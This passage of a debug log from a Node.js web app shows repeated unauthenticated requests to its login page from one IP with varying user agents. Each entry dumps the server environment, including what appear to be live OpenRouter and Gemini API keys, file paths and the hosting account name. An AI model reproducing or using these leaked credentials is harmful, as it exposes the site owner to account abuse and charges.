    'user-agent': 'Mozilla/5.0 (Linux; Android 12; Redmi 5; Build/SP1A.250900.191) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.33 Mobile Safari/537.36',
    'accept-encoding': 'gzip',
    accept: 'application/json,text/html,*/*',
    connection: 'keep-alive',
    'accept-language': 'zh',
    referer: 'https://www.ems.sanjaychaurasia.xyz/',
    'x-forwarded-for': '118.26.38.181',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-25T21:21:58.537Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '118.26.38.181',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 12; Redmi 5; Build/SP1A.250900.191) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.33 Mobile Safari/537.36',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_ACCEPT: 'application/json,text/html,*/*',
    HTTP_CONNECTION: 'keep-alive',
    HTTP_ACCEPT_LANGUAGE: 'zh',
    HTTP_REFERER: 'https://www.ems.sanjaychaurasia.xyz/',
    'HTTP_X_FORWARDED-FOR': '118.26.38.181',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-02-24T21:21:58.985Z server-connect:router Serving templateView /
2026-02-24T21:21:58.986Z server-connect:app Executing action step identify
2026-02-24T21:21:58.986Z server-connect:app options: { provider: 'security' }
2026-02-24T21:21:58.986Z server-connect:auth No login cookie found
2026-02-24T21:21:58.986Z server-connect:output identity: false
2026-02-24T21:21:58.986Z server-connect:app Executing action step restrict
2026-02-24T21:21:58.986Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-24T21:21:58.986Z server-connect:output restrict: undefined
2026-02-24T21:21:59.206Z server-connect:router Serving templateView /login
2026-02-24T21:21:59.206Z server-connect:app Executing action step identify
2026-02-24T21:21:59.206Z server-connect:app options: { provider: 'security' }
2026-02-24T21:21:59.207Z server-connect:auth No login cookie found
2026-02-24T21:21:59.207Z server-connect:output identity: false
2026-02-24T21:21:59.207Z server-connect:router Render template layouts/authentication
2026-02-24T21:21:59.207Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36',
    'accept-encoding': 'gzip',
    accept: 'application/json,text/html,*/*',
    connection: 'keep-alive',
    'accept-language': 'zh',
    referer: 'https://www.ems.sanjaychaurasia.xyz/',
    'x-forwarded-for': '118.26.38.181',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-25T21:21:59.206Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '118.26.38.181',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_ACCEPT: 'application/json,text/html,*/*',
    HTTP_CONNECTION: 'keep-alive',
    HTTP_ACCEPT_LANGUAGE: 'zh',
    HTTP_REFERER: 'https://www.ems.sanjaychaurasia.xyz/',
    'HTTP_X_FORWARDED-FOR': '118.26.38.181',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-02-24T21:21:59.430Z server-connect:router Serving templateView /
2026-02-24T21:21:59.430Z server-connect:app Executing action step identify
2026-02-24T21:21:59.430Z server-connect:app options: { provider: 'security' }
2026-02-24T21:21:59.430Z server-connect:auth No login cookie found
2026-02-24T21:21:59.430Z server-connect:output identity: false
2026-02-24T21:21:59.430Z server-connect:app Executing action step restrict
2026-02-24T21:21:59.430Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-24T21:21:59.430Z server-connect:output restrict: undefined
2026-02-24T21:21:59.657Z server-connect:router Serving templateView /login
2026-02-24T21:21:59.657Z server-connect:app Executing action step identify
2026-02-24T21:21:59.657Z server-connect:app options: { provider: 'security' }
2026-02-24T21:21:59.657Z server-connect:auth No login cookie found
2026-02-24T21:21:59.657Z server-connect:output identity: false
2026-02-24T21:21:59.657Z server-connect:router Render template layouts/authentication
2026-02-24T21:21:59.657Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'curl/7.4.0',
    'accept-encoding': 'gzip',
    accept: 'application/json,text/html,*/*',
    connection: 'keep-alive',
    'accept-language': 'zh',
    referer: 'https://www.ems.sanjaychaurasia.xyz/',
    'x-forwarded-for': '118.26.38.181',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-25T21:21:59.656Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '118.26.38.181',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'curl/7.4.0',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_ACCEPT: 'application/json,text/html,*/*',
    HTTP_CONNECTION: 'keep-alive',
    HTTP_ACCEPT_LANGUAGE: 'zh',
    HTTP_REFERER: 'https://www.ems.sanjaychaurasia.xyz/',
    'HTTP_X_FORWARDED-FOR': '118.26.38.181',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-02-24T21:21:59.879Z server-connect:router Serving templateView /
2026-02-24T21:21:59.879Z server-connect:app Executing action step identify
2026-02-24T21:21:59.879Z server-connect:app options: { provider: 'security' }
2026-02-24T21:21:59.879Z server-connect:auth No login cookie found
2026-02-24T21:21:59.879Z server-connect:output identity: false
2026-02-24T21:21:59.879Z server-connect:app Executing action step restrict
2026-02-24T21:21:59.879Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-24T21:21:59.880Z server-connect:output restrict: undefined
2026-02-24T21:22:00.105Z server-connect:router Serving templateView /login
2026-02-24T21:22:00.105Z server-connect:app Executing action step identify
2026-02-24T21:22:00.105Z server-connect:app options: { provider: 'security' }
2026-02-24T21:22:00.105Z server-connect:auth No login cookie found
2026-02-24T21:22:00.105Z server-connect:output identity: false
2026-02-24T21:22:00.105Z server-connect:router Render template layouts/authentication
2026-02-24T21:22:00.106Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Linux; Android 12; SM-G7508Q; Build/SD1A.170319.148) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.178 Mobile Safari/537.36',
    'accept-encoding': 'gzip',
    accept: 'application/json,text/html,*/*',
    connection: 'keep-alive',
    'accept-language': 'zh',
    referer: 'https://www.ems.sanjaychaurasia.xyz/',
    'x-forwarded-for': '118.26.38.181',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-25T21:22:00.105Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '118.26.38.181',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 12; SM-G7508Q; Build/SD1A.170319.148) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.178 Mobile Safari/537.36',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_ACCEPT: 'application/json,text/html,*/*',
    HTTP_CONNECTION: 'keep-alive',
    HTTP_ACCEPT_LANGUAGE: 'zh',
    HTTP_REFERER: 'https://www.ems.sanjaychaurasia.xyz/',
    'HTTP_X_FORWARDED-FOR': '118.26.38.181',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-02-24T21:22:00.559Z server-connect:router Serving templateView /
2026-02-24T21:22:00.559Z server-connect:app Executing action step identify
2026-02-24T21:22:00.559Z server-connect:app options: { provider: 'security' }
2026-02-24T21:22:00.559Z server-connect:auth No login cookie found
2026-02-24T21:22:00.559Z server-connect:output identity: false
2026-02-24T21:22:00.559Z server-connect:app Executing action step restrict
2026-02-24T21:22:00.559Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-24T21:22:00.559Z server-connect:output restrict: undefined
2026-02-24T21:22:00.780Z server-connect:router Serving templateView /login
2026-02-24T21:22:00.780Z server-connect:app Executing action step identify
2026-02-24T21:22:00.780Z server-connect:app options: { provider: 'security' }
2026-02-24T21:22:00.780Z server-connect:auth No login cookie found
2026-02-24T21:22:00.780Z server-connect:output identity: false
2026-02-24T21:22:00.780Z server-connect:router Render template layouts/authentication
2026-02-24T21:22:00.781Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36',
    'accept-encoding': 'gzip',
    accept: 'application/json,text/html,*/*',
    connection: 'keep-alive',
    'accept-language': 'zh',
    referer: 'https://www.ems.sanjaychaurasia.xyz/',
    'x-forwarded-for': '118.26.38.181',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-25T21:22:00.780Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '118.26.38.181',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_ACCEPT: 'application/json,text/html,*/*',
    HTTP_CONNECTION: 'keep-alive',
    HTTP_ACCEPT_LANGUAGE: 'zh',
    HTTP_REFERER: 'https://www.ems.sanjaychaurasia.xyz/',
    'HTTP_X_FORWARDED-FOR': '118.26.38.181',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-02-24T21:22:01.061Z server-connect:router Serving templateView /
2026-02-24T21:22:01.062Z server-connect:app Executing action step identify
2026-02-24T21:22:01.062Z server-connect:app options: { provider: 'security' }
2026-02-24T21:22:01.062Z server-connect:auth No login cookie found
2026-02-24T21:22:01.062Z server-connect:output identity: false
2026-02-24T21:22:01.062Z server-connect:app Executing action step restrict
2026-02-24T21:22:01.062Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-24T21:22:01.062Z server-connect:output restrict: undefined
2026-02-24T21:22:01.110Z server-connect:router Serving templateView /
2026-02-24T21:22:01.114Z server-connect:app Executing action step identify
2026-02-24T21:22:01.114Z server-connect:app options: { provider: 'security' }
2026-02-24T21:22:01.114Z server-connect:auth No login cookie found
2026-02-24T21:22:01.114Z server-connect:output identity: false
2026-02-24T21:22:01.114Z server-connect:app Executing action step restrict
2026-02-24T21:22:01.114Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-24T21:22:01.115Z server-connect:output restrict: undefined
2026-02-24T21:22:01.284Z server-connect:router Serving templateView /login
2026-02-24T21:22:01.284Z server-connect:app Executing action step identify
2026-02-24T21:22:01.284Z server-connect:app options: { provider: 'security' }
2026-02-24T21:22:01.284Z server-connect:auth No login cookie found
2026-02-24T21:22:01.284Z server-connect:output identity: false
2026-02-24T21:22:01.284Z server-connect:router Render template layouts/authentication
2026-02-24T21:22:01.285Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'okhttp/3.14.9',
    'accept-encoding': 'gzip',
    accept: 'application/json,text/html,*/*',
    connection: 'keep-alive',
    'accept-language': 'zh',
    referer: 'https://www.ems.sanjaychaurasia.xyz/',
    'x-forwarded-for': '118.26.38.181',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-25T21:22:01.284Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '118.26.38.181',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'okhttp/3.14.9',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_ACCEPT: 'application/json,text/html,*/*',
    HTTP_CONNECTION: 'keep-alive',
    HTTP_ACCEPT_LANGUAGE: 'zh',
    HTTP_REFERER: 'https://www.ems.sanjaychaurasia.xyz/',
    'HTTP_X_FORWARDED-FOR': '118.26.38.181',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-02-24T21:22:01.337Z server-connect:router Serving templateView /login
2026-02-24T21:22:01.337Z server-connect:app Executing action step identify
2026-02-24T21:22:01.337Z server-connect:app options: { provider: 'security' }
2026-02-24T21:22:01.337Z server-connect:auth No login cookie found
2026-02-24T21:22:01.337Z server-connect:output identity: false
2026-02-24T21:22:01.337Z server-connect:router Render template layouts/authentication
2026-02-24T21:22:01.337Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'curl/7.4.0',
    'accept-encoding': 'gzip',
    accept: 'application/json,text/html,*/*',
    connection: 'keep-alive',
    'accept-language': 'zh',
    referer: 'https://www.ems.sanjaychaurasia.xyz/',
    'x-forwarded-for': '118.26.38.181',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-25T21:22:01.337Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '118.26.38.181',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'curl/7.4.0',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_ACCEPT: 'application/json,text/html,*/*',
    HTTP_CONNECTION: 'keep-alive',
    HTTP_ACCEPT_LANGUAGE: 'zh',
    HTTP_REFERER: 'https://www.ems.sanjaychaurasia.xyz/',
    'HTTP_X_FORWARDED-FOR': '118.26.38.181',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-02-24T21:22:02.457Z server-connect:router Serving templateView /
2026-02-24T21:22:02.457Z server-connect:app Executing action step identify
2026-02-24T21:22:02.458Z server-connect:app options: { provider: 'security' }
2026-02-24T21:22:02.458Z server-connect:auth No login cookie found
2026-02-24T21:22:02.458Z server-connect:output identity: false
2026-02-24T21:22:02.458Z server-connect:app Executing action step restrict
2026-02-24T21:22:02.458Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-24T21:22:02.458Z server-connect:output restrict: undefined
2026-02-24T21:22:02.679Z server-connect:router Serving templateView /login
2026-02-24T21:22:02.679Z server-connect:app Executing action step identify
2026-02-24T21:22:02.679Z server-connect:app options: { provider: 'security' }
2026-02-24T21:22:02.679Z server-connect:auth No login cookie found
2026-02-24T21:22:02.679Z server-connect:output identity: false
2026-02-24T21:22:02.679Z server-connect:router Render template layouts/authentication
2026-02-24T21:22:02.679Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
